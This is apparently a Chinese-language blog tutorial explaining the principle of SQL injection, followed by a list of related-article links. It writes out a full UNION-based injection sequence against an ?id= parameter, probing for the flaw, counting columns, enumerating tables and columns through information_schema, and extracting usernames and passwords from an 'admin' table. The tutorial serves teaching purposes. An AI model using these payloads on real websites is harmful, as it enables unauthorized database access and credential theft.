sql注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作。

sql注入漏洞产生满足条件:

1;用户能够控制数据的输入。

2;原本需要执行的代码,拼接了用户的输入。

举例:

攻击流程:

1;判断是否存在sql注入漏洞。

2;判断网页存在字段数。

3;判断回显点。

4;获取信息。

测试开始:

测试目标获取管理员账号密码

一;判断是否存在sql注入漏洞。

1.1;构建sql语句:?id=1 and 1=2 查看页面是否正常。结果页面显示不正常。

注释:因为id=1为真(可正常访问页面),且1=2为假,所以and条件永远不会成立。对于web应用不会返回结果给用户。则攻击者能看到的是一个错误的界面或者页面结果为空。当然,如果攻击者构造的请求异常,也会导致页面访问不正常。

1.2;构建新的sql语句,确定是否存在语句逻辑错误导致页面不正常。?id=1 and 1=1 结果页面正常,初步判断存在sql漏洞。

注释:1=1 为真,and条件语句成立。

二;判断字段数:

2.1;构建sql语句:?id=1 and 1=1 order by 1 判断网页是否正常。?id=1 and 1=1 order by 2 判断网页是否正常。?id=1 and 1=1 order by 3 判断网页是否正常。结果:?id=1 and 1=1 order by 3 网页显示不正常,可以判断字段数为2

注释:order by 语句用来根据指定的列对结果集进行排序。详细请参考网址:http://www.w3school.com.cn/sql/sql_orderby.asp “order by 1”表示对第一栏位进行排序,

三;判断回显点:构建sql语句:?id=1 and 1=2 union select 1,2 (之后的查询结果将显示在下图红框位置)

注释:union 操作符用于合并两个或多个select语句的结果集,union内部的select语句必须拥有相同数量的列。详细参考:http://www.w3school.com.cn/sql/sql_union.asp

四; 获取信息

4.1;查看当前数据库名以及数据库版本。构建sql语句:?id=1 and 1=2 union select 1,database();?id=1 and 1=2 unio select 1, version()

注释:union select 1 ,database(),其中数字1占一列,凑数,用来满足union定义。database():表示网站使用的数据库,version():表示当前mysql的版本,usr():当前mysql的用户。

4.2;查询当前数据库以及表名称。构建sql语句:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

注释:information_schema数据库用于存储数据库元数据,例如:数据库名,表名,列的数据类型,访问权限等。tables用来存储数据库中的表的信息,包括表属于哪个数据库,表的类型,存储引擎,创建时间等。table_schema和table_schema是表tables中的数据库库名和表名。limit 0,1 表示第一行显示一行数据。limit 1,1表示第二行显示一行数据。

4.3;查询表admin中的字段名。查询三个字段:ID username  password

构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

注释:columns表存储表中的列的信息。其中包含数据库库名table_schema,表名table_name ,字段名column_name。

4.4;查询用户名称:?id=1 and 1=2 union select 1,username from admin

4.5;查询密码:?id=1 and 1=2 union select 1,password from admin

mysql数据库sql注入原理_SQL注入原理解析以及举例1相关推荐

  1. mysql oracle mvcc_PostgreSQL、Oracle/MySQL和SQL Server的MVCC实现原理方式

    PostgreSQL.Oracle/MySQL和SQL Server的MVCC实现原理方式 关系数据库管理系统使用MVCC(Multiversion Concurrency Control多版本并发控 ...

  2. oracle与mysql执行sql原理_PostgreSQL、Oracle/MySQL和SQL Server的MVCC实现原理方式

    PostgreSQL.Oracle/MySQL和SQL Server的MVCC实现原理方式 关系数据库管理系统使用MVCC(Multiversion Concurrency Control多版本并发控 ...

  3. 统一javaweb项目和mysql数据库时间UTC时间方法及原理

    统一javaweb项目和mysql数据库时间UTC时间方法及原理 文章目录 统一javaweb项目和mysql数据库时间UTC时间方法及原理 前言 UTC时间与 GMT时间 时间戳和时区 mysql时 ...

  4. mysql jdbc 绑定变量_jdbc测试mysql数据库sql预解析(绑定变量)

    jdbc测试mysql数据库sql预解析(绑定变量) 用习惯了oracle,学习mysql,想测试一下mysql绑定变量的效果.以前看网上介绍大部份都说mysql没有sql共享池的概念,所以也不存在s ...

  5. MySQL数据库SQL层级优化

    MySQL数据库SQL层级优化 本篇主涉及MySQL SQL Statements层面的优化. 首先,推荐一个链接为万物之始:http://dev.mysql.com/doc/refman/5.0/e ...

  6. mysql数据库电脑配置_教你怎样正确配置MySQL数据库SQL Mail -电脑资料

    本文用个人经历来讲解SQL Mail的配置与使用, 用SQL Mail主要是要完成这样的功能: >用户在网上注册后,系统将随机产生的密码发送到用户登记的Email. >用户在论坛的帖子有回 ...

  7. 简单MySQL数据库SQL文件

    简单MySQL数据库SQL文件 Book数据库表范例+记录 /* Navicat MySQL Data TransferSource Server : pig Source Server Versio ...

  8. mysql hy000 1030_解决MySQL数据库SQL Error:1030, SQLState: HY000,Got error 28 from storage engine...

    解决MySQL数据库SQL Error:1030, SQLState: HY000,Got error 28 from storage engine MySQL数据库报以下错误: ERROR 22-0 ...

  9. 资源放送丨《Oracle数据库SQL执行计划的取得和解析》PPT视频

    前段时间,墨天轮邀请Oracle优化方面的资深专家 陈晓辉 老师分享了<Oracle数据库SQL执行计划的取得和解析>,在这里我们共享一下PPT和视频,供大家参考学习. Oracle优化资 ...

  10. 2场直播丨Oracle数据库SQL执行计划的取得和解析、一次特殊的 Oralce 硬解析性能问题的技术分享...

    1. Oracle数据库SQL执行计划的取得和解析- 2021.02.23 2月23日(周二)晚八点直播课,Oracle优化资深专家陈晓辉,以专业ORACLE数据库技术支持工程师的角度讲解SQL文的执 ...

最新文章

  1. ORACLE联机日志文件丢失或损坏的处理方法(转)
  2. SpringMVC中重定向
  3. arm-linux交叉编译工具链的制作(基于S3C2440)【转】
  4. JAVA四圣降临,和平精英四圣降临模式攻略
  5. CVPR 2018 SINT++:《SINT++: Robust Visual Tracking via Adversarial Hard Positive Generation》论文笔记
  6. leetCode 53. maximum subarray
  7. 每日一题(51)—— 大小端判断
  8. python快递代取系统_代取快递的变现方式,校园跑腿的经营范围有多大?
  9. Apache服务器下载、安装、启动、关闭及卸载(win版)
  10. 不用到处找图标了!模库承包你所有的图标素材!
  11. 动态磅是怎么原理_浅谈动态地磅的原理及未来发展方向
  12. pandas选取特定段
  13. java程序员 英文简历_Java程序员英文简历范文
  14. Eviews下载及安装
  15. SCI-hub论文下载器(附下载方法)
  16. php模拟登陆校园教务网络管理系统
  17. 神武手游哪个服务器人最多,神武4端游什么老区人最多
  18. 阿里云-个人建网站从0到精通(三)-部署开发环境
  19. 二极管计算机原理,二极管的原理
  20. powershell 汉洛塔

热门文章

  1. java导出pdf_一张PDF了解JDK11 GC调优秘籍-附PDF下载
  2. ios开发 热搜词demo_手机app如何开发
  3. 计算机专业能不能转音乐系,中国音乐学院可以转专业吗,中国音乐学院新生转专业政策...
  4. android开源tabview,TabBarView
  5. Python isinstance函数 - Python零基础入门教程
  6. android判断usb已连接,android 判断是否有网络连接(usb连接电脑问题)
  7. linux子进程父进程例子,linux 子进程访问父进程
  8. 【C语言进阶】 宏定义实现字符串引用
  9. 景点门票销售系统系统java_某景点门票销售管理系统
  10. java http setheader_response.setHeader各种用法详解